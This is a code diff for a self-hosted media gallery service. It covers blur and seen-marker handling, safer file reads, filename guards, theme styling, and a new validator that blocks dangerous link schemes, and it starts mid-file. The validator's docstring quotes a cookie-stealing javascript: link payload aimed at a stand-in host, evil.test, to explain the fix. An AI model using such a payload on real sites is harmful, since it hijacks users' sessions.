|
||||
if current:
|
||||
body = json.dumps(sorted(current), ensure_ascii=False).encode("utf-8", "surrogateescape")
|
||||
if len(body) > BLUR_MAX_BYTES:
|
||||
raise BlurUnwritable(
|
||||
f"{len(current)} blurred items would exceed the {BLUR_MAX_BYTES}-byte "
|
||||
f"bound the reader accepts; nothing was changed")
|
||||
try:
|
||||
fd, tmp = tempfile.mkstemp(prefix=".blurred.", suffix=".tmp", dir=booth)
|
||||
try:
|
||||
# mkstemp makes 0600; the line-format writer left 0644, and a
|
||||
# reader under another uid must still see the set (groa).
|
||||
os.fchmod(fd, 0o644)
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
fh.write(body)
|
||||
os.replace(tmp, path)
|
||||
except BaseException:
|
||||
_discard(Path(tmp))
|
||||
raise
|
||||
except OSError:
|
||||
pass # judged by the postcondition below
|
||||
else:
|
||||
_discard(legacy)
|
||||
else:
|
||||
_discard(path)
|
||||
_discard(legacy)
|
||||
if read_blurred(booth) != current:
|
||||
raise BlurUnwritable(
|
||||
f"the blur set in {booth.name!r} could not be written; is something other "
|
||||
f"than a file at {BLUR_FILE} or {LEGACY_BLUR_FILE}?")
|
||||
return current
|
||||
+175
-11
@@ -15,7 +15,10 @@ See docs/contracts/u1_item_record.contract.md.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Sequence
|
||||
@@ -27,6 +30,8 @@ except ImportError: # pragma: no cover
|
||||
_markdown = None
|
||||
|
||||
from booth.asks import is_answer_file, is_ask_file
|
||||
from booth.blur import BLUR_FILE, read_blurred # noqa: F401 (re-exported)
|
||||
from booth.thumbs import wants_thumb
|
||||
|
||||
# Browser-playable media buckets. Anything else renders as a download link.
|
||||
IMAGE_EXTS = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".bmp"}
|
||||
@@ -40,7 +45,18 @@ TEXT_EXTS = {".txt", ".text", ".log"}
|
||||
CAPTION_MAX = 800 # chars of a sidecar .txt caption we render
|
||||
DOC_MAX_BYTES = 2 * 1024 * 1024 # above this, a doc is handed back raw, not rendered
|
||||
|
||||
BLUR_FILE = ".blurred"
|
||||
# `BLUR_FILE` and `read_blurred` live in booth/blur.py (stdlib-only, so the CLI
|
||||
# shares the reader and the writer) and are re-exported from here.
|
||||
|
||||
# Booth-level blur: the whole booth is fogged, agent-set at post time or
|
||||
# toggled by the operator. A MARKER, deliberately not JSON like `.seen` —
|
||||
# `.seen` is JSON because it holds rels that must round-trip exactly, and a
|
||||
# boolean has nothing to round-trip. It matches `.forever`, which is the other
|
||||
# whole-booth flag, so the two read the same way.
|
||||
BOOTH_BLUR_FILE = ".blurbooth"
|
||||
|
||||
# What booth-level blur applies to. Audio has nothing to hide from a glance.
|
||||
BLURRABLE_KINDS = {"image", "video"}
|
||||
|
||||
|
||||
def classify(name: str) -> str:
|
||||
@@ -95,15 +111,93 @@ class Item:
|
||||
blurred: bool
|
||||
doc: str | None
|
||||
size: int
|
||||
# R2 C1: the 1-based position in `booth_items` order over ALL items — the
|
||||
# number the operator means by "the third one". Set in the resolver loop
|
||||
# and nowhere else (INV-1). APPENDED, never inserted: a mid-dataclass field
|
||||
# is a positional-construction break.
|
||||
ordinal: int
|
||||
# The tile's image source, or None when the original IS the right source
|
||||
# (vector, video, a type Pillow cannot open, or an image already tile-sized).
|
||||
# Derived HERE so no template reasons about `kind` to decide — INV-1, which
|
||||
# is the caption bug in a new field.
|
||||
thumb: str | None
|
||||
# The item's OWN per-item blur, apart from the booth's fog: the per-item
|
||||
# control toggles only this, so it must not offer an un-blur the booth flag
|
||||
# would override (r2b D2b). From the SAME read as `blurred` — it used to be
|
||||
# a second `read_blurred` in build_gallery, and a write between the two
|
||||
# reads could split them (invariant 3). APPENDED, like `ordinal`.
|
||||
blurred_self: bool
|
||||
|
||||
|
||||
def read_blurred(booth: Path) -> set[str]:
|
||||
"""Blurred item paths for a booth. Missing file -> empty set."""
|
||||
# R2 C2: which items have been looked at full size. UI state, not judgment —
|
||||
# never exposed to sessions, holds nothing. One viewer: this records WHAT was
|
||||
# seen, never who saw it.
|
||||
SEEN_FILE = ".seen"
|
||||
|
||||
|
||||
# A seen marker bigger than this is not one this service wrote: a JSON array of
|
||||
# every rel in a 270-item booth is a few KB.
|
||||
SEEN_MAX_BYTES = 1 << 20
|
||||
|
||||
|
||||
def read_seen(booth: Path) -> set[str]:
|
||||
"""Rels seen at full size (R2 C2). A JSON array of strings, because a rel
|
||||
may hold a leading space or a newline and must round-trip exactly.
|
||||
|
||||
NEVER RAISES and NEVER BLOCKS. Any fleet session can write into a booth,
|
||||
so the marker may be planted: it is opened without following a link and
|
||||
without blocking (a FIFO with no writer), refused unless it is a regular
|
||||
file of sane size, and anything unreadable or malformed reads as nothing
|
||||
seen — a damaged marker costs the tape its memory, never the page.
|
||||
"""
|
||||
try:
|
||||
text = (booth / BLUR_FILE).read_text()
|
||||
except (OSError, UnicodeDecodeError):
|
||||
fd = os.open(booth / SEEN_FILE, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return set()
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}
|
||||
try:
|
||||
st = os.fstat(fd)
|
||||
if not stat.S_ISREG(st.st_mode) or st.st_size > SEEN_MAX_BYTES:
|
||||
return set()
|
||||
raw = os.read(fd, SEEN_MAX_BYTES + 1)
|
||||
except OSError:
|
||||
return set()
|
||||
finally:
|
||||
os.close(fd)
|
||||
try:
|
||||
data = json.loads(raw.decode("utf-8"))
|
||||
except (UnicodeDecodeError, ValueError, RecursionError):
|
||||
# RecursionError: a deeply nested array (`[[[[...`) blows the parser's
|
||||
# stack, and it is neither a ValueError nor an OSError — the same hole
|
||||
# marks.py, manifest.py and benches.py already close.
|
||||
return set()
|
||||
if not isinstance(data, list):
|
||||
return set()
|
||||
return {r for r in data if isinstance(r, str)}
|
||||
|
||||
|
||||
def is_booth_blurred(booth: Path) -> bool:
|
||||
"""Whether the WHOLE booth is blurred.
|
||||
|
||||
`lstat`, not `exists()`, and an unreadable answer counts as BLURRED —
|
||||
the same shape as `is_kept` with the safety inverted, and the inversion is
|
||||
the point. `is_kept` fails toward keeping because a failed read must not
|
||||
authorize a delete; this fails toward HIDING, because a failed read must not
|
||||
reveal something the poster asked to fog. Both directions are "the failure
|
||||
does not cause the loss".
|
||||
|
||||
A SYMLINK counts, dangling or not: somebody put it there to mean blur.
|
||||
|
||||
Composes with `.blurred`, never overrides it — turning booth blur off must
|
||||
not erase an agent's per-item choice, and an override would need a per-item
|
||||
"unblurred" exception list, which is state nobody can see.
|
||||
"""
|
||||
try:
|
||||
(booth / BOOTH_BLUR_FILE).lstat()
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except OSError:
|
||||
return True # cannot tell -> fog it; see above
|
||||
|
||||
|
||||
def _section_of(rel: str) -> str | None:
|
||||
@@ -197,7 +291,18 @@ def _resolve_captions(by_rel: dict[str, Path]) -> tuple[dict[str, str], set[str]
|
||||
|
||||
if target is not None:
|
||||
try:
|
||||
caption[target] = p.read_text(errors="replace").strip()[:CAPTION_MAX]
|
||||
# BOUNDED AT THE READ. `read_text()` pulled the whole sidecar
|
||||
# into memory before the slice trimmed it, so a pathological
|
||||
# file was a MemoryError — which the OSError handler below does
|
||||
# not catch — rather than a missing caption.
|
||||
#
|
||||
# Deliberately NOT bounded by st_size: a FIFO reports 0 and a
|
||||
# bound that trusts it inherits what it does not mean, which is
|
||||
# the hang in persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md.
|
||||
# The factor of 4 is UTF-8's worst case, so CAPTION_MAX
|
||||
# characters always survive the byte bound.
|
||||
with p.open("r", errors="replace") as fh:
|
||||
caption[target] = fh.read(CAPTION_MAX * 4).strip()[:CAPTION_MAX]
|
||||
except OSError:
|
||||
pass
|
||||
sidecars.add(rel)
|
||||
@@ -218,14 +323,50 @@ def booth_items(booth: Path) -> list[Item]:
|
||||
"""
|
||||
by_rel: dict[str, Path] = {}
|
||||
for p in booth.rglob("*"):
|
||||
if not p.is_file() or p.name.startswith("."):
|
||||
try:
|
||||
# `is_file` swallows a missing entry but PROPAGATES EACCES: a
|
||||
# directory that lists but cannot be searched made every stat under
|
||||
# it raise out of here, and `list_booths` calls this for every
|
||||
# booth — one such folder took down the index for all of them.
|
||||
# An entry nobody can stat is not a renderable file. (design-dev)
|
||||
if not p.is_file():
|
||||
continue
|
||||
except OSError:
|
||||
continue
|
||||
# ⚠ EVERY path component, not just the filename. `p.name.startswith(".")`
|
||||
# tested only the leaf, so `.thumbs/a.png` (name `a.png`) sailed through
|
||||
# as a gallery item — and CLAUDE.md invariant 2 promises a dotfile costs
|
||||
# nothing in item counts, galleries or zips. That promise was true only
|
||||
# at the top level until the `.thumbs/` cache made it matter.
|
||||
#
|
||||
# BOTH guards, not either: they were written independently for different
|
||||
# failures and the merge that kept one would have quietly dropped the
|
||||
# other.
|
||||
if any(part.startswith(".") for part in p.relative_to(booth).parts):
|
||||
continue
|
||||
continue
|
||||
if is_ask_file(p.name) or is_answer_file(p.name):
|
||||
continue
|
||||
by_rel[p.relative_to(booth).as_posix()] = p
|
||||
rel = p.relative_to(booth).as_posix()
|
||||
try:
|
||||
quote(rel, safe="/")
|
||||
except UnicodeEncodeError:
|
||||
# A non-UTF-8 filename reaches CPython as a surrogate escape, and
|
||||
# `quote` raises on it. This used to happen at Item construction,
|
||||
# OUTSIDE any per-item handler — so one 0xff byte in one filename
|
||||
# took out that booth's page AND the index for every booth, because
|
||||
# `list_booths` calls this too. The repo's posture is that a damaged
|
||||
# file costs its own tile and never the page.
|
||||
#
|
||||
# Skipped rather than rescued: a name that cannot be percent-encoded
|
||||
# cannot be linked, served or zipped either, so there is no item to
|
||||
# render. Found by the heid bug-hunt panel (hulda), 2026-09-22.
|
||||
continue
|
||||
by_rel[rel] = p
|
||||
|
||||
caption, sidecars = _resolve_captions(by_rel)
|
||||
blurred = read_blurred(booth) # ONE read per call, not one per item
|
||||
booth_blur = is_booth_blurred(booth) # likewise: one stat, not one per item
|
||||
|
||||
items: list[Item] = []
|
||||
for rel in sorted(by_rel):
|
||||
@@ -236,17 +377,28 @@ def booth_items(booth: Path) -> list[Item]:
|
||||
size = p.stat().st_size
|
||||
except OSError:
|
||||
size = 0
|
||||
kind = classify(p.name)
|
||||
items.append(
|
||||
Item(
|
||||
rel=rel,
|
||||
url=quote(rel, safe="/"),
|
||||
kind=classify(p.name),
|
||||
kind=kind,
|
||||
section=_section_of(rel),
|
||||
group=_group_of(rel),
|
||||
caption=caption.get(rel),
|
||||
blurred=rel in blurred,
|
||||
# Booth blur COMPOSES with the per-item set. Resolved HERE so
|
||||
# every surface inherits it for free — Desk strip, tiles, tray,
|
||||
# filmstrip, stage all already read `Item.blurred` and none of
|
||||
# them learns about the booth flag (INV-1).
|
||||
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),
|
||||
doc=doc_kind(p.name),
|
||||
size=size,
|
||||
# Counted over items that RENDER: a caption sidecar or a name
|
||||
# the quote() guard skipped takes no number, so the numbers
|
||||
# stay contiguous over what the operator can see.
|
||||
ordinal=len(items) + 1,
|
||||
thumb=(quote(rel, safe='/') + '?thumb=1') if wants_thumb(rel) else None,
|
||||
blurred_self=rel in blurred,
|
||||
)
|
||||
)
|
||||
return items
|
||||
@@ -261,6 +413,18 @@ def image_chain(items: Sequence[Item]) -> list[str]:
|
||||
return [it.rel for it in items if it.kind == "image"]
|
||||
|
||||
|
||||
# R2 C2: what the review route steps through. ONE LINE: the item order
|
||||
# filtered to media. It is a declared change to the zoom-ring rule, which was
|
||||
# images only: a listening set is reviewed the same way a picture set is.
|
||||
REVIEW_KINDS = ("image", "video", "audio")
|
||||
|
||||
|
||||
def review_chain(items: Sequence[Item]) -> list[str]:
|
||||
"""The rels of the media items, in item order — the review's prev/next ring,
|
||||
its filmstrip and its tape."""
|
||||
return [it.rel for it in items if it.kind in REVIEW_KINDS]
|
||||
|
||||
|
||||
def find_item(items: Sequence[Item], rel: str) -> Item | None:
|
||||
"""The record for one rel, or None — the zoom/doc route's entry point."""
|
||||
for it in items:
|
||||
|
||||
+37
-1
@@ -60,6 +60,39 @@ def link_entry_id(raw: str) -> str:
|
||||
return hashlib.sha1(raw.strip().encode()).hexdigest()[:8]
|
||||
|
||||
|
||||
def is_safe_href(url: str) -> bool:
|
||||
"""Whether a board URL may be rendered as an `href` at all.
|
||||
|
||||
⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the
|
||||
standing board and the operator clicks its rows, and nothing guarded the
|
||||
scheme: `javascript:document.location='http://evil.test/'+document.cookie`
|
||||
rendered as a clickable link in the Booth's own origin. Found by design-dev
|
||||
on the way past R2, in code R2 does not touch.
|
||||
|
||||
⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by
|
||||
the markdown link regex, because the parens break `](...)`. That is an
|
||||
accident, not a guard, and a paren-free payload sails straight through. Do
|
||||
not re-test this with a payload that contains brackets.
|
||||
|
||||
`booth_target` already tests the scheme, but for a DIFFERENT question —
|
||||
which booth a URL names — so it refuses every off-board link too and cannot
|
||||
serve as this guard.
|
||||
|
||||
NEVER RAISES: a board row is arbitrary agent-written text and a predicate
|
||||
that raises on one row takes the whole page.
|
||||
"""
|
||||
try:
|
||||
parts = urlsplit((url or "").strip())
|
||||
except (ValueError, UnicodeDecodeError):
|
||||
return False
|
||||
# Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc,
|
||||
# and navigates off-site while looking like a path. An empty scheme is only
|
||||
# safe when it is genuinely relative.
|
||||
if not parts.scheme:
|
||||
return not parts.netloc
|
||||
return parts.scheme.lower() in ("http", "https")
|
||||
|
||||
|
||||
def parse_link_entries(text: str) -> list[dict]:
|
||||
"""Rows of the standing link board, newest last (posting order).
|
||||
|
||||
@@ -79,6 +112,8 @@ def parse_link_entries(text: str) -> list[dict]:
|
||||
"line": i,
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip(),
|
||||
# Derived ONCE here; no template decides whether a row is a link.
|
||||
"safe": is_safe_href(m.group("url") or ""),
|
||||
"who": (m.group("who") or "").strip(),
|
||||
"when": (m.group("when") or "").strip(),
|
||||
})
|
||||
@@ -109,7 +144,8 @@ def remove_link_entry(board: Path, entry_id: str) -> dict | None:
|
||||
if m:
|
||||
removed = {"id": entry_id, "raw": raw.rstrip("\n"),
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip()}
|
||||
"url": (m.group("url") or "").strip(),
|
||||
"safe": is_safe_href(m.group("url") or "")}
|
||||
continue
|
||||
kept.append(raw)
|
||||
if removed is None:
|
||||
|
||||
+88
-36
@@ -27,54 +27,79 @@
|
||||
if (window.__boothEmbed) return; // declared AND appended: mount once
|
||||
window.__boothEmbed = true;
|
||||
|
||||
/* The ask palette's LIGHT values, written once and used by both light rules
|
||||
below (OS light, and forced light), so the two can never drift apart. */
|
||||
var BK_LIGHT = "--bk-accent:#586519;--bk-accent-line:rgba(88,101,25,.55);" +
|
||||
"--bk-accent-soft:rgba(88,101,25,.11);--bk-on-accent:#fff;--bk-open:#7c5500;--bk-open-text:#7c5500;" +
|
||||
"--bk-done:#486741;--bk-done-text:#486741;--bk-skip:#52595e;--bk-err:#a42e07";
|
||||
|
||||
var CSS = [
|
||||
/* SVOS values, written as literals: this sheet lands in a page we did not
|
||||
write, so it can lean on none of base.html's tokens. Hex equivalents of
|
||||
the SVOS semantic tokens (design-systems palettes/svos @ ed2f8d8). */
|
||||
/* ---- the way home, and the open-asks jump ---- */
|
||||
".booth-nav-home,.booth-nav-asks{position:fixed;top:0;z-index:2147483647;",
|
||||
"display:inline-block;margin:.6rem;padding:.34rem .72rem;border-radius:8px;",
|
||||
"text-decoration:none;letter-spacing:.01em;box-shadow:0 2px 10px rgba(0,0,0,.35)}",
|
||||
"display:inline-block;margin:.6rem;padding:.38rem .75rem;border-radius:8px;",
|
||||
"text-decoration:none;letter-spacing:.01em;box-shadow:0 4px 14px rgba(0,0,0,.4)}",
|
||||
/* top-right: a top-left chip clips the page title on left-aligned report
|
||||
layouts, and this matches the zoom view's back affordance. */
|
||||
".booth-nav-home{right:0;font:600 13px/1.25 ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#dfe7ef;background:rgba(20,23,32,.82);border:1px solid rgba(66,220,209,.35);",
|
||||
"-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);transition:background .18s,border-color .18s}",
|
||||
".booth-nav-home:hover{background:rgba(28,33,46,.95);border-color:rgba(66,220,209,.75)}",
|
||||
".booth-nav-asks{right:7.2rem;font:700 13px/1.25 ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#171a23;background:#ffe14e;border:1px solid #ffe14e;transition:filter .18s}",
|
||||
".booth-nav-asks:hover{filter:brightness(1.08)}",
|
||||
".booth-nav-home{right:0;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#dce3e5;background:rgba(12,16,20,.86);border:1px solid rgba(255,255,255,.16);",
|
||||
"-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);transition:background .12s,border-color .12s}",
|
||||
".booth-nav-home:hover{background:rgba(31,35,40,.96);border-color:rgba(255,255,255,.34)}",
|
||||
/* amber = needs you: the one chip that asks to be clicked */
|
||||
".booth-nav-asks{right:7.4rem;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#15191d;background:#fbc10f;border:1px solid #fbc10f;transition:filter .12s}",
|
||||
".booth-nav-asks:hover{filter:brightness(1.06)}",
|
||||
"@media print{.booth-nav-home,.booth-nav-asks{display:none}}",
|
||||
/* ---- ask fragments. Self-contained: the host page carries its own CSS and
|
||||
nothing here may inherit from it, so the palette adapts via
|
||||
prefers-color-scheme rather than borrowing. ---- */
|
||||
".bk-ask{margin:1.1rem 0;padding:.85rem .95rem;border:1px solid rgba(128,140,160,.34);",
|
||||
"border-top:2px solid #e0b93c;border-radius:9px;background:rgba(128,140,160,.07);",
|
||||
"font:15px/1.5 ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif}",
|
||||
".bk-ask.bk-done{border-top-color:#3fae6a}",
|
||||
".bk-ask.bk-skip{border-top-color:#6f7c8c}",
|
||||
".bk-ask.bk-skip .bk-ask-tag{color:#8a97a6}",
|
||||
".bk-ask-tag{display:block;margin-bottom:.5rem;font:700 10px/1 ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase;color:#c9a227}",
|
||||
".bk-ask.bk-done .bk-ask-tag{color:#3fae6a}",
|
||||
".bk-ask-title{margin:0 0 .15rem;font-size:.72rem;letter-spacing:.07em;text-transform:uppercase;opacity:.62}",
|
||||
nothing here may inherit from it. The palette is a set of custom
|
||||
properties SCOPED TO .bk-ask, flipped by prefers-color-scheme — so each
|
||||
rule below is written once and a host page cannot reach the values
|
||||
without targeting our own class. Neutrals stay translucent so the
|
||||
fragment sits on a light or a dark host alike. ---- */
|
||||
".bk-ask{--bk-accent:#b2cd12;--bk-accent-line:rgba(178,205,18,.55);--bk-accent-soft:rgba(178,205,18,.12);",
|
||||
"--bk-on-accent:#0c1014;--bk-open:#d29a02;--bk-open-text:#fbc10f;--bk-done:#71a166;--bk-done-text:#9bce90;",
|
||||
"--bk-skip:#868d91;--bk-err:#fea47d}",
|
||||
/* r2b D3 — the operator's theme reaches inside ("theme toggle reaches
|
||||
inside"): light when the OS asks and dark is not forced, or when light
|
||||
is forced — the Booth sheet's own rule, carried by `data-bk-theme` on
|
||||
each fragment (bkTheme, below), never by the host page's <html>. */
|
||||
"@media (prefers-color-scheme: light){.bk-ask:not([data-bk-theme=dark]){" + BK_LIGHT + "}}",
|
||||
".bk-ask[data-bk-theme=light]{" + BK_LIGHT + "}",
|
||||
".bk-ask{margin:1.1rem 0;padding:.9rem 1rem;border:1px solid rgba(128,140,160,.34);",
|
||||
"border-top:2px solid var(--bk-open);border-radius:8px;background:rgba(128,140,160,.07);",
|
||||
"font:15px/1.55 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif}",
|
||||
".bk-ask.bk-done{border-top-color:var(--bk-done)}",
|
||||
".bk-ask.bk-skip{border-top-color:var(--bk-skip)}",
|
||||
".bk-ask-tag{display:inline-block;margin-bottom:.6rem;padding:2px 7px;border:1.5px solid currentColor;border-radius:3px;",
|
||||
"font:600 10.5px/1.3 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase;color:var(--bk-open-text)}",
|
||||
".bk-ask.bk-done .bk-ask-tag{color:var(--bk-done-text)}",
|
||||
".bk-ask.bk-skip .bk-ask-tag{color:var(--bk-skip)}",
|
||||
".bk-ask-title{margin:0 0 .15rem;font:500 11px/1.4 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase;opacity:.62}",
|
||||
".bk-ask-prompt{margin:0 0 .6rem;font-weight:600}",
|
||||
".bk-ask-opts{display:flex;flex-direction:column;gap:.3rem}",
|
||||
".bk-ask-opt{display:flex;align-items:flex-start;gap:.55rem;padding:.45rem .6rem;cursor:pointer;",
|
||||
"border:1px solid rgba(128,140,160,.3);border-radius:6px;background:rgba(128,140,160,.06)}",
|
||||
".bk-ask-opts{display:flex;flex-direction:column;gap:.35rem}",
|
||||
".bk-ask-opt{display:flex;align-items:flex-start;gap:.6rem;padding:.55rem .7rem;cursor:pointer;",
|
||||
"border:1px solid rgba(128,140,160,.3);border-radius:8px;background:rgba(128,140,160,.06)}",
|
||||
".bk-ask-opt:hover{border-color:rgba(128,140,160,.62)}",
|
||||
".bk-ask-opt:has(input:checked){border-color:#2fa8a0;background:rgba(47,168,160,.13)}",
|
||||
".bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:#2fa8a0}",
|
||||
".bk-ask-opt:has(input:checked){border-color:var(--bk-accent-line);background:var(--bk-accent-soft)}",
|
||||
".bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:var(--bk-accent)}",
|
||||
".bk-ask-lab{display:flex;flex-direction:column;gap:.1rem;min-width:0}",
|
||||
".bk-ask-det{font-size:.8rem;opacity:.68}",
|
||||
".bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .6rem;",
|
||||
".bk-ask-det{font-size:.82rem;opacity:.68}",
|
||||
".bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .65rem;",
|
||||
"font:inherit;font-size:.9rem;color:inherit;background:rgba(128,140,160,.09);",
|
||||
"border:1px solid rgba(128,140,160,.34);border-radius:6px;resize:vertical}",
|
||||
".bk-ask-go{margin-top:.7rem;cursor:pointer;font:700 12px/1 ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.06em;padding:.6rem 1.1rem;border-radius:6px;border:1px solid #2fa8a0;",
|
||||
"background:#2fa8a0;color:#08131a}",
|
||||
".bk-ask-go:hover{filter:brightness(1.09)}",
|
||||
".bk-ask-was{margin:.15rem 0 .55rem;font-size:.84rem;opacity:.8}",
|
||||
"border:1px solid rgba(128,140,160,.34);border-radius:8px;resize:vertical}",
|
||||
".bk-ask-notes:focus{outline:2px solid var(--bk-accent);outline-offset:1px}",
|
||||
/* the primary — green, because submitting is what arms the answer */
|
||||
".bk-ask-go{margin-top:.75rem;cursor:pointer;font:600 13px/1 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"padding:.7rem 1.1rem;border-radius:8px;border:1px solid var(--bk-accent);",
|
||||
"background:var(--bk-accent);color:var(--bk-on-accent)}",
|
||||
".bk-ask-go:hover{filter:brightness(1.06)}",
|
||||
".bk-ask-was{margin:.15rem 0 .55rem;font-size:.86rem;opacity:.8}",
|
||||
".bk-ask-was b{opacity:1}",
|
||||
".bk-ask-err{color:#d6452a;font-size:.86rem}",
|
||||
"@media (prefers-color-scheme: light){.bk-ask-tag{color:#8a6d10}.bk-ask-go{color:#fff}}",
|
||||
".bk-ask-err{color:var(--bk-err);font-size:.86rem}",
|
||||
"@media print{.bk-ask{break-inside:avoid}}"
|
||||
].join("");
|
||||
|
||||
@@ -319,6 +344,30 @@
|
||||
return mounted;
|
||||
}
|
||||
|
||||
/* r2b D3: mark every fragment WE mounted with the operator's stored theme
|
||||
choice (the same localStorage key the Booth's toggle writes — same
|
||||
origin). Absent or unreadable = follow the OS, as before. The host page's
|
||||
own <html> is the author's and is never touched. */
|
||||
var ours = []; // every element this script mounted
|
||||
function bkTheme() {
|
||||
var t = null;
|
||||
try { t = localStorage.getItem("booth.theme"); } catch (e) {}
|
||||
var forced = t === "light" || t === "dark";
|
||||
/* OUR fragments only (heid bug-hunt): an author's own `.bk-ask` in the
|
||||
host page is theirs, and is never marked. */
|
||||
ours.forEach(function (root) {
|
||||
var els = [root].concat(Array.prototype.slice.call(root.querySelectorAll(".bk-ask")));
|
||||
els.forEach(function (el) {
|
||||
if (!el.classList.contains("bk-ask")) return;
|
||||
if (forced) el.setAttribute("data-bk-theme", t); else el.removeAttribute("data-bk-theme");
|
||||
});
|
||||
});
|
||||
}
|
||||
/* A choice made in another tab moves an open report live. */
|
||||
window.addEventListener("storage", function (e) {
|
||||
if (e.key === "booth.theme" || e.key === null) bkTheme();
|
||||
});
|
||||
|
||||
function start() {
|
||||
var name = boothName();
|
||||
if (!name || !document.body) return;
|
||||
@@ -334,6 +383,9 @@
|
||||
if (!data) return;
|
||||
favicon(data.favicon);
|
||||
var mounted = place(data.marks || []);
|
||||
ours = [];
|
||||
Object.keys(mounted).forEach(function (id) { ours = ours.concat(mounted[id]); });
|
||||
bkTheme();
|
||||
reassociate();
|
||||
asksChip(data.open || [], mounted);
|
||||
document.dispatchEvent(new CustomEvent("booth:mounted", { detail: { booth: name } }));
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
{# r2b D1b — a booth's two dates, defined ONCE for the Desk row and the booth
|
||||
header. Created is the day it began (the filesystem's birth time); updated
|
||||
is how recently its CONTENT moved (`landed_at`, the clock "new since you
|
||||
looked" reads). Each is a <time> with its exact stamp as the title.
|
||||
- A date the filesystem cannot give, or the calendar cannot hold, renders
|
||||
NOTHING — never a plausible guess, and never a 500 for the whole Desk.
|
||||
- "Updated" shows whenever it differs from "created" by a minute or more,
|
||||
EITHER way: copied files keep their mtimes while the folder is born now,
|
||||
so content can be older than its booth. Within a minute, one date.
|
||||
- A content clock AHEAD of now (a wrong clock somewhere) is said as its
|
||||
date, never as an age — "updated just now" would be a lie. #}
|
||||
{% macro dates(created_at, landed_at, now) -%}
|
||||
{%- set made = created_at|day(now) if created_at else "" -%}
|
||||
{%- if made %} · <time class="d-made" datetime="{{ created_at|iso }}" title="created {{ created_at|stamp }}">created {{ made }}</time>{% endif -%}
|
||||
{%- set moved = landed_at|day(now) if landed_at else "" -%}
|
||||
{%- if moved and (not made or (landed_at - created_at)|abs >= 60) -%}
|
||||
{%- set age = now - landed_at -%}
|
||||
{%- if age < -60 %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ moved }}</time>
|
||||
{%- else %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ age|ago }}</time>{% endif -%}
|
||||
{%- endif -%}
|
||||
{%- endmacro %}
|
||||
+76
-19
@@ -26,13 +26,18 @@
|
||||
{% set flags = marks | selectattr('shape', 'equalto', 'flag') | rejectattr('error') | list %}
|
||||
<section class="marks">
|
||||
|
||||
{# `picks_only` + `back_view`: the review rail (view.html) includes this panel
|
||||
with `marks` narrowed to the open picks it should offer, and wants only the
|
||||
pick forms, each landing back on the review (`back=view`, R2 C3). ONE
|
||||
renderer of a pick form, whichever page it sits on. #}
|
||||
{% if not picks_only %}
|
||||
{% for a in broken %}
|
||||
<article class="mark mark-note is-broken" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state">⚠ broken</span>
|
||||
<span class="mark-id"><code>{{ a.id }}</code></span>
|
||||
<span class="board-spacer"></span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this mark">×</button>
|
||||
@@ -42,6 +47,7 @@
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% endif %}
|
||||
{% for a in picks %}
|
||||
<article class="mark mark-pick{% if a.answer and a.answer.complete %} is-answered{% elif a.answer %} is-partial{% elif a.error %} is-broken{% endif %}" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
@@ -75,7 +81,7 @@
|
||||
{% endif %}
|
||||
<details class="mark-formwrap"{% if not a.answer %} open{% endif %}>
|
||||
<summary class="mark-change">{% if a.answer %}change answer{% else %}answer{% endif %}</summary>
|
||||
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer">
|
||||
